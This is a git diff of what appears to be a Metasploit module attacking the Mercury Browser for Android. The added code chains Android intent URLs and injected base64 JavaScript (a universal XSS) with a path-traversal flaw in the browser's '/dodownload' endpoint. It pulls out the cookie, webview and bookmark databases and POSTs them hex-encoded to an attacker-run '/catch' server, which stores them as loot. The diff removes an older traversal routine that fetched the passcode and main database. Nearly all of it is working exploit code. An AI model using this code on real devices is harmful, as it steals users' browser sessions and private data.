8
8
class Metasploit3 < Msf ::Auxiliary
9
9
10
10
include Msf ::Exploit ::Remote ::HttpServer ::HTML
11
+ include Msf ::Auxiliary ::Report
11
12
12
13
def initialize ( info = { } )
13
14
super ( update_info ( info ,
@@ -22,56 +23,18 @@ def initialize(info = {})
22
23
'Author' =>
23
24
[
24
25
'rotlogix' , # Vuln discovery, PoC, etc
25
- 'sinn3r'
26
+ 'sinn3r' ,
27
+ 'joev'
26
28
] ,
27
29
'License' => MSF_LICENSE ,
28
30
'References' =>
29
31
[
30
- [ 'URL' , 'http://rotlogix.com/2015/08/23/exploiting-the-mercury-browser-for-android/' ]
32
+ [ 'URL' , 'http://rotlogix.com/2015/08/23/exploiting-the-mercury-browser-for-android/' ] ,
33
+ [ 'URL' , 'http://versprite.com/og/multiple-vulnerabilities-in-mercury-browser-for-android-version-3-0-0/' ]
31
34
]
32
35
) )
33
- end
34
-
35
- def send_http_request ( rhost , opts = { } )
36
- res = nil
37
- cli = Rex ::Proto ::Http ::Client . new ( rhost , 8888 )
38
-
39
- begin
40
- cli . connect
41
- req = cli . request_cgi ( opts )
42
- res = cli . send_recv ( req )
43
- rescue ::EOFError , Errno ::ETIMEDOUT , Errno ::ECONNRESET , Rex ::ConnectionError ,
44
- OpenSSL ::SSL ::SSLError , ::Timeout ::Error => e
45
- return nil
46
- ensure
47
- cli . close
48
- end
49
36
50
- res
51
- end
52
-
53
- def get_xml_files ( rhost )
54
- base_dir = '../../../../data/data/com.ilegendsoft.mercury'
55
-
56
- [ '/mercury_database.db' , '/shared_prefs/passcode.xml' ] . each do |item |
57
- opts = {
58
- 'method' => 'GET' ,
59
- 'uri' => '/dodownload' ,
60
- 'vars_get' => {
61
- 'fname' => "#{ base_dir } #{ item } "
62
- } ,
63
- 'headers' => {
64
- 'Referer' => "http://#{ rhost } :8888/storage/emulated/0/Download/"
65
- }
66
- }
67
37
68
- print_status ( "Retrieving #{ item } " )
69
- res = send_http_request ( rhost , opts )
70
- next unless res
71
- print_status ( "Server response: #{ res . code } " )
72
- p = store_loot ( 'android.mercury.file' , 'application/octet-stream' , rhost , res . body )
73
- print_good ( "#{ item } saved as: #{ p } " )
74
- end
75
38
end
76
39
77
40
def is_android? ( user_agent )
@@ -87,12 +50,62 @@ def get_html
87
50
<body>
88
51
<script>
89
52
location.href="intent:#Intent;SEL;component=com.ilegendsoft.mercury/.external.wfm.ui.WFMActivity2;action=android.intent.action.VIEW;end";
53
+ setTimeout(function() {
54
+ location.href="intent:#Intent;S.load=javascript:eval(atob('#{ Rex ::Text . encode_base64 ( uxss ) } '));SEL;component=com.ilegendsoft.mercury/com.ilegendsoft.social.common.SimpleWebViewActivity;end";
55
+ }, 500);
90
56
</script>
91
57
</body>
92
58
</html>
93
59
|
94
60
end
95
61
62
+ def backend_url
63
+ proto = ( datastore [ 'SSL' ] ? 'https' : 'http' )
64
+ my_host = ( datastore [ 'SRVHOST' ] == '0.0.0.0' ) ? Rex ::Socket . source_address : datastore [ 'SRVHOST' ]
65
+ port_str = ( datastore [ 'SRVPORT' ] . to_i == 80 ) ? '' : ":#{ datastore [ 'SRVPORT' ] } "
66
+ resource = ( '/' == get_resource [ -1 , 1 ] ) ? get_resource [ 0 , get_resource . length -1 ] : get_resource
67
+
68
+ "#{ proto } ://#{ my_host } #{ port_str } #{ resource } /catch"
69
+ end
70
+
71
+ def uxss
72
+ %Q|
73
+ function exploit() {
74
+ history.replaceState({},{},'/storage/emulated/0/Download/');
75
+ var urls = #{ JSON . generate ( file_urls ) } ;
76
+ urls.forEach(function(url) {
77
+ var x = new XMLHttpRequest();
78
+ x.open('GET', '/dodownload?fname=../../../..'+url);
79
+ x.responseType = 'arraybuffer';
80
+ x.send();
81
+ x.onload = function(){
82
+ var buff = new Uint8Array(x.response);
83
+ var hex = Array.prototype.map.call(buff, function(d) {
84
+ var c = d.toString(16);
85
+ return (c.length < 2) ? 0+c : c;
86
+ }).join('');
87
+ var send = new XMLHttpRequest();
88
+ send.open('POST', '#{ backend_url } /'+encodeURIComponent(url.replace(/.*\\ //,'')));
89
+ send.setRequestHeader('Content-type', 'text/plain');
90
+ send.send(hex);
91
+ };
92
+ });
93
+ }
94
+
95
+ var q = window.open('http://localhost:8888/','x');
96
+ q.onload = function(){ q.eval('('+exploit.toString()+')()'); };
97
+ |
98
+ end
99
+
100
+ def file_urls
101
+ [
102
+ '/data/data/com.ilegendsoft.mercury/databases/webviewCookiesChromium.db' ,
103
+ '/data/data/com.ilegendsoft.mercury/databases/webviewCookiesChromiumPrivate.db' ,
104
+ '/data/data/com.ilegendsoft.mercury/databases/webview.db' ,
105
+ '/data/data/com.ilegendsoft.mercury/databases/bookmarks.db'
106
+ ]
107
+ end
108
+
96
109
def on_request_uri ( cli , req )
97
110
print_status ( "Requesting: #{ req . uri } " )
98
111
@@ -102,17 +115,30 @@ def on_request_uri(cli, req)
102
115
return
103
116
end
104
117
118
+ if req . method =~ /post/i
119
+ if req . body
120
+ filename = File . basename ( req . uri ) || 'file'
121
+ output = store_loot (
122
+ filename , 'text/plain' , cli . peerhost , hex2bin ( req . body ) , filename , 'Android mercury browser file'
123
+ )
124
+ print_good ( "Stored #{ req . body . bytes . length } bytes to #{ output } " )
125
+ end
126
+
127
+ return
128
+ end
129
+
105
130
print_status ( 'Sending HTML...' )
106
131
html = get_html
107
132
send_response_html ( cli , html )
133
+ end
108
134
109
- print_status ( "Attempting to connect to: http://#{ cli . peerhost } :8888/" )
110
- sleep ( 2 )
111
- get_xml_files ( cli . peerhost )
135
+ def hex2bin ( hex )
136
+ hex . chars . each_slice ( 2 ) . map ( &:join ) . map { |c | c . to_i ( 16 ) } . map ( &:chr ) . join
112
137
end
113
138
139
+
114
140
def run
115
141
exploit
116
142
end
117
143
118
- end
144
+ end
0 commit comments